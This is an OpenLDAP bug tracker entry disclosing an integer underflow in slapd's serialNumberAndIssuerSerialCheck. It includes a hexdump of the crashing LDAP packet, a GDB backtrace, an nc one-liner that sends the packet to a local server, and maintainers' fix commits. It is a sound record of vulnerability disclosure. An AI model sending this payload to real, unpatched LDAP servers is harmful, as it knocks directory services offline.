# Issue 9424 - Integer undeflow causes segfault in OpenLDAP: slapd v2.X - schema_init.c:serialNumberAndIssuerCheck:4478

**Status:** VERIFIED FIXED

**Alias:** None

**Product:** OpenLDAP
**Component:** slapd (show other issues)
**Version:** unspecified
**Hardware:** All All

**Importance:** --- normal
**Target Milestone:** 2.4.57
**Assignee:** OpenLDAP project

**URL:**
**Keywords:**

**Depends on:**
**Blocks:**

**Reported:** 2020-12-14 13:10 UTC by phasip
**Modified:** 2021-01-18 20:06 UTC (History)
**CC List:** 0 users

**See Also:**

| Attachments |
| --- |
| Add an attachment (proposed patch, testcase, etc.) |

Note
You need to log in before you can comment on or make changes to this issue.

**phasip** **2020-12-14 13:10:54 UTC** Description

A malicious packet causes a integer underflow resulting in a crash similarly to ITS#9404.
Note, this does not seem to be applicable on the bitnami/openldap (v2.4.56) docker image - it may be introduced due to recent changes or only exist in unreleased functionality.

Packet:

```
    00000000: 3082 0330 0201 3063 8201 30df e330 0030  0..0..0c..0..0.0
    00000010: 0030 0030 0030 0030 00a0 8201 3030 1b30  .0.0.0.0....00.0
    00000020: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000030: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000040: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000050: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000060: 3030 3030 3030 3030 3030 3030 301b 3030  0000000000000.00
    00000070: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000080: 3030 3030 3030 3030 3030 3130 3030 3030  0000000000100000
    00000090: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000a0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000000b0: 3030 3030 3030 3030 3030 3030 a930 8109  000000000000.0..
    000000c0: 322e 352e 3133 2e34 3583 8201 367b 6973  2.5.13.45...6{is
    000000d0: 7375 4572 207b 2020 2020 2020 2062 6173  suEr {       bas
    000000e0: 6543 6572 7469 6669 6361 7465 4944 2020  eCertificateID
    000000f0: 2020 2020 2020 2020 2020 2020 2020 2020
    00000100: 2020 2020 2020 2020 2020 2020 2020 2020
    00000110: 2020 2020 2020 2020 2020 2020 2020 2020
    00000120: 2020 2020 2020 2020 2020 2020 2020 2020
    00000130: 2020 2020 2020 2020 2020 2020 2020 2020
    00000140: 2020 2020 2020 2020 2020 2020 2020 2020
    00000150: 2020 2020 2020 2020 2020 2020 2020 2020
    00000160: 2020 2020 2020 2020 2020 2020 2020 2020
    00000170: 2020 2020 2020 2020 2020 2020 2020 2020
    00000180: 2020 2020 2020 2020 2020 2020 2020 2020
    00000190: 2020 2020 2020 2020 2020 2020 2020 2020
    000001a0: 2020 2020 2020 2020 2020 2020 2020 2020
    000001b0: 2020 2020 2020 2020 2020 2020 2020 2020
    000001c0: 2020 2020 2020 2020 2020 2020 207b 2069                { i
    000001d0: 7373 7545 7220 7b20 2020 2020 2020 2020  ssuEr {
    000001e0: 2020 2020 2020 2020 6469 7265 6374 6f72          director
    000001f0: 794e 616d 653a 7264 6e53 6571 7565 6e63  yName:rdnSequenc
    00000200: 653a 2230 3030 3030 3030 3030 3030 3030  e:"0000000000000
    00000210: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000220: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000230: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000240: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000250: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000260: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000270: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000280: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000290: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000002a0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000002b0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000002c0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000002d0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000002e0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    000002f0: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000300: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000310: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000320: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000330: 3030 3030                                0000
```

```
GDB output:
    Program received signal SIGSEGV, Segmentation fault.
    0x00005555555e7499 in serialNumberAndIssuerSerialCheck (in=0x7fffffffd150,
sn=0x7fffffffd010, is=0x7fffffffd020, i_sn=0x7fffffffd030, ctx=0x5555559a1ad0) at
schema_init.c:4478
    4478                                                    if ( is->bv_val[is-
>bv_len] != '"' ) {
    (gdb) bt
    #0  0x00005555555e7499 in serialNumberAndIssuerSerialCheck (in=0x7fffffffd150,
sn=0x7fffffffd010, is=0x7fffffffd020, i_sn=0x7fffffffd030, ctx=0x5555559a1ad0)
        at schema_init.c:4478
    #1  0x00005555555e7c5f in serialNumberAndIssuerSerialPretty
(syntax=0x5555557faa00, in=0x7fffffffd150, out=0x7fffffffd0c0, ctx=0x5555559a1ad0)
at schema_init.c:4684
    #2  0x00005555555b9395 in asserted_value_validate_normalize (ad=0x0,
mr=0x5555558001d0, usage=2049, in=0x7fffffffd150, out=0x7fffffffd178,
text=0x7fffffffe490,
        ctx=0x5555559a1ad0) at value.c:153
    #3  0x0000555555606f76 in get_mra (op=0x5555559a16a0, ber=0x5555559a1300,
f=0x7fffffffd230, text=0x7fffffffe490) at mra.c:198
    #4  0x0000555555596430 in get_filter0 (op=0x5555559a16a0, ber=0x5555559a1300,
filt=0x5555559a1ba8, text=0x7fffffffe490, depth=1) at filter.c:290
    #5  0x000055555559670e in get_filter_list (op=0x5555559a16a0,
ber=0x5555559a1300, f=0x7fffffffd338, text=0x7fffffffe490, depth=1) at filter.c:354
    #6  0x00005555555961b7 in get_filter0 (op=0x5555559a16a0, ber=0x5555559a1300,
filt=0x5555559a1720, text=0x7fffffffe490, depth=0) at filter.c:235
    #7  0x0000555555596649 in get_filter (op=0x5555559a16a0, ber=0x5555559a1300,
filt=0x5555559a1720, text=0x7fffffffe490) at filter.c:332
    #8  0x0000555555594794 in do_search (op=0x5555559a16a0, rs=0x7fffffffe470) at
search.c:127
    #9  0x0000555555591cc0 in connection_operation (ctx=0x5555557f4280
<ldap_int_main_thrctx>, arg_v=0x5555559a16a0) at connection.c:1163
    #10 0x00005555555923e9 in connection_read_thread (ctx=0x5555557f4280
<ldap_int_main_thrctx>, argv=0xa) at connection.c:1318
    #11 0x0000555555565c9b in main (argc=1, argv=0x7fffffffe6b8) at fuzzing.c:100

Testing:
    docker run -it --net=host phasip/openldap
    echo -en
'\x30\x82\x03\x30\x02\x01\x30\x63\x82\x01\x30\xdf\xe3\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa0\x82\x01\x30\x30\x1b\x30\x30\x30\
| nc localhost 1389
```

**Howard Chu** **2020-12-14 20:15:16 UTC** Comment 1

fixed in master

**Quanah Gibson-Mount** **2020-12-15 21:26:27 UTC** Comment 2

trunk:

Commits:
- 777098aa

by Howard Chu at 2020-12-14T19:03:27+00:00
ITS#9424 fix serialNumberAndIssuerSerialCheck

**Quanah Gibson-Mount** **2020-12-15 21:26:38 UTC** Comment 3

RE24

commit 58c1748e81c843c5b6e61648d2a4d1d82b47e842
Author: Howard Chu <hyc@openldap.org>
Date: Mon Dec 14 19:03:27 2020 +0000

    ITS#9424 fix serialNumberAndIssuerSerialCheck

Format For Printing - XML - Clone This Issue - Top of page